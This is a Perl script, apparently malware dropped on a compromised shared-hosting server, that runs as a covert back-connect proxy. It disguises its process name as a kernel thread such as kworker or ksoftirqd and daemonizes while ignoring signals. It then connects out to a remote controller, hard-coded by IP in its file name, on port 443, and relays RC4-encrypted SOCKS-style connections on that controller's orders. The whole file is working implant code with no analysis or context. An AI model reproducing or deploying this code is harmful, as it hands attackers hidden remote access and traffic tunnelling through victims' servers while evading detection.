/home/fdhrevqn/.cagefs/tmp/.bcpl/62.60.131.178_443.pl
#!/usr/bin/perl
# BCPL_MARKER - DO NOT REMOVE
use strict;use warnings;use Socket;use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;use Fcntl qw(:flock);use threads;use threads::shared;use POSIX qw(setsid);
my $host=$ARGV[0]||'127.0.0.1';my $port=$ARGV[1]||443;my $pidf=$ARGV[2]||'';
my $reconnect_delay:shared=5;my $max_reconnect_delay=60;
sub get_proc_name{my @n=('kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd');
my @s=('','/0','/1','/0:0');return $n[rand@n].$s[rand@s];}
my $pn=get_proc_name();
eval{if(open(my $fh,'>','/proc/self/comm')){print $fh substr($pn,0,15);close($fh);}};
fork and exit;setsid();fork and exit;
open(STDIN,'<','/dev/null');open(STDOUT,'>','/dev/null');open(STDERR,'>','/dev/null');
if($pidf){open(my $pf,'>',$pidf);print $pf $$;close($pf);}
$SIG{HUP}=$SIG{TERM}=$SIG{INT}=$SIG{PIPE}='IGNORE';
my $xordata="\x00"x50;for(my $i=0;$i<50;$i++){substr($xordata,$i,1)=pack('C',rand(255));}
sub Rc4_crypt{my $passw=shift;my $length=shift;my $buff0=shift;my $start=shift;my $sz=shift;
my $rc4="\x00"x256;my($p0,$p1,$p2,$p3,$p4,$p5,$p6,$p7,$p8)=(0,0,0,0,0,0,0,0,0);
my $rcx=$sz;my $rsi=0;my $rbx=0;my $gs=0;my $t=0;
for(my $i=0;$i<=255;$i++){substr($rc4,$i,1)=pack('C',$i);}
do{substr($$buff0,$start+$rsi,1)=pack('C',(unpack('C',substr($$buff0,$start+$rsi,1))^unpack('C',substr($$passw,$rbx,1))));
$rsi++;$rbx++;$rcx--;if($rbx==$length){$rbx=0;}}while($rcx>0);
while(1){if($gs==0){$p2=0;$p3=$length;}if($gs!=0){$gs=0;$p2++;if(--$p3==0){next;}}
$p7=unpack('C',substr($rc4,$p0,1));$t=unpack('C',substr($$passw,$p2,1));
$p1+=$t;$p1=$p1&255;$p1+=$p7;$p1=$p1&255;$p6=unpack('C',substr($rc4,$p1,1));
substr($rc4,$p0,1)=pack('C',$p6);substr($rc4,$p1,1)=pack('C',$p7);
$p0++;$p0=$p0&255;if($p0!=0){$gs=1;next;}$p4=$sz;$p1=0;$p0=0;$p2=0;$p3=0;
while(1){$p2++;$p2=$p2&255;$p7=unpack('C',substr($rc4,$p2,1));$p1+=$p7;$p1=$p1&255;
$p8=unpack('C',substr($rc4,$p1,1));substr($rc4,$p2,1)=pack('C',$p8);
substr($rc4,$p1,1)=pack('C',$p7);$p8+=$p7;$p8=$p8&255;
$p0=unpack('C',substr($rc4,$p8,1));$p5=unpack('C',substr($$buff0,$start+$p3,1));
$p5=$p5^$p0;substr($$buff0,$start+$p3,1)=pack('C',$p5);$p3++;if(--$p4==0){last;}}last;}
$rsi=0;$rcx=$sz;$rbx=0;
do{substr($$buff0,$start+$rsi,1)=pack('C',(unpack('C',substr($$buff0,$start+$rsi,1))^unpack('C',substr($$passw,$rbx,1))));
$rsi++;$rbx++;$rcx--;if($rbx==$length){$rbx=0;}}while($rcx>0);}
sub synsend{my $cSocket=shift;my $buffer=shift;my $flags=shift;
open(my $fh,"<",'/dev/null');flock($fh,LOCK_EX);send($cSocket,$buffer,$flags);flock($fh,LOCK_UN);close($fh);}
sub newConnection{my $num=shift;my $socketarray=shift;my $sSocket=shift;my $cSocket=shift;my $buff0=shift;
threads->create(sub{my $responce=pack('C',$num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain='';my $port=0;my $_ret=0;my $data='';my $buffer='';
setsockopt($cSocket,IPPROTO_TCP,TCP_NODELAY,1);fcntl($cSocket,F_SETFL,O_NONBLOCK);
if(unpack('C',substr($buff0,7,1))==3){$domain=substr($buff0,9,unpack('C',substr($buff0,8,1)));
$port=unpack('S',substr($buff0,9+unpack('C',substr($buff0,8,1))+1,1).substr($buff0,9+unpack('C',substr($buff0,8,1))+0,1));}
elsif(unpack('C',substr($buff0,7,1))==1){$domain=sprintf("%d.%d.%d.%d",unpack('C',substr($buff0,8+0,1)),
unpack('C',substr($buff0,8+1,1)),unpack('C',substr($buff0,8+2,1)),unpack('C',substr($buff0,8+3,1)));
$port=unpack('S',substr($buff0,12+1,1).substr($buff0,12+0,1));}else{goto close_;}
eval{my $paddr=sockaddr_in($port,inet_aton($domain));connect($cSocket,$paddr);
vec(my $win='',fileno($cSocket),1)=1;unless(select(undef,$win,undef,15)){goto close_;}
fcntl($cSocket,F_SETFL,0);substr($responce,4,1)="\x00";$_ret=1;};
close_:Rc4_crypt(\$xordata,50,\$responce,0,3);Rc4_crypt(\$xordata,50,\$responce,3,10);
synsend($sSocket,$responce,0);Rc4_crypt(\$xordata,50,\$responce,0,3);
if($_ret==1){while($$socketarray[$num]==1){vec(my $rin='',fileno($cSocket),1)=1;
unless(select($rin,undef,undef,1)){next;}$data='';recv($cSocket,$data,65530,0);unless($data){last;}
$buffer=pack('C',$num).pack('S',length($data)).$data;Rc4_crypt(\$xordata,50,\$buffer,0,3);
Rc4_crypt(\$xordata,50,\$buffer,3,length($data));synsend($sSocket,$buffer,0);}}
$$socketarray[$num]=0;close($cSocket);substr($responce,1,2)="\x00\x00";
Rc4_crypt(\$xordata,50,\$responce,0,3);synsend($sSocket,substr($responce,0,3),0);threads->detach();});}
sub bccnct{my $h=shift;my $p=shift;my $remaining=0;my $remaining4=0;my @socketarr;my @socketarray:shared;
my $buffer="\x00"x100;my $buffernull="\x00"x3;my $buffer0='';my $isExit=0;my $ecx=0;my $eax=0;
my $data='';my $_ret=0;my $ebx=0;my $edx=0;my $connected=0;
socket($socketarr[0],PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt($socketarr[0],IPPROTO_TCP,TCP_NODELAY,1);
my $paddr=sockaddr_in($p,inet_aton($h));unless(connect($socketarr[0],$paddr)){goto close0;}
substr($buffer,0,50)=$xordata;substr($buffer,50,2)="\xFF\xFF";substr($buffer,54,4)="Perl";
Rc4_crypt(\$xordata,50,\$buffer,50,50);send($socketarr[0],$buffer,0);$connected=1;$reconnect_delay=5;
while(1){if($remaining4!=4){vec(my $rin='',fileno($socketarr[0]),1)=1;my $ret=select($rin,undef,undef,60);
next if($ret<0);if($ret==0){last if(substr($buffernull,0,3)ne"\x00\x00\x00");last if($remaining!=0);
last if($remaining4!=0);Rc4_crypt(\$xordata,50,\$buffernull,0,3);synsend($socketarr[0],$buffernull,0);
$buffernull="\x00"x3;next;}}if($remaining!=0||$remaining4==4){if($edx==0){
if(substr($buffer0,0,1)eq"\xFF"&&substr($buffer0,1,1)eq"\xFE"){$isExit=1;last;}
elsif($ebx<200&&$ebx>0){$socketarray[$ebx]=0;}}else{$ecx=$edx;$ecx=$ecx-$remaining;$data='';
recv($socketarr[0],$data,$ecx,0);unless($data){last;}$remaining+=length($data);$buffer0.=$data;
if($edx==$remaining){Rc4_crypt(\$xordata,50,\$buffer0,4,$remaining);
if(unpack('C',substr($buffer0,0,1))==0){if($ebx<200&&$ebx>0){
socket($socketarr[$ebx],PF_INET,SOCK_STREAM,getprotobyname('tcp'));$socketarray[$ebx]=1;
newConnection($ebx,\@socketarray,$socketarr[0],$socketarr[$ebx],$buffer0);}}
else{if($ebx<200&&$ebx>0){send($socketarr[$ebx],substr($buffer0,4,$remaining),0);}}$remaining=0;}}$remaining4=0;}
else{if($remaining4==0){$buffer0='';}$eax=4;$eax=$eax-$remaining4;$data='';
recv($socketarr[0],$data,$eax,0);unless($data){last;}$remaining4+=length($data);$buffer0.=$data;
$buffernull="\x00"x3;if($remaining4==4){Rc4_crypt(\$xordata,50,\$buffer0,0,4);
$ebx=unpack('C',substr($buffer0,1,1));$edx=unpack('S',substr($buffer0,2,2));$_ret=1;}}}
close0:close($socketarr[0]);for(my $i=0;$i<200;$i++){$socketarray[$i]=0;}
if(!$connected){$reconnect_delay=$reconnect_delay*1.5;$reconnect_delay=$max_reconnect_delay if $reconnect_delay>$max_reconnect_delay;}
sleep $reconnect_delay;if($isExit==1){exit;}return $_ret;}
while(1){eval{bccnct($host,$port);};if($@){$reconnect_delay=$reconnect_delay*1.5;
$reconnect_delay=$max_reconnect_delay if $reconnect_delay>$max_reconnect_delay;sleep $reconnect_delay;}}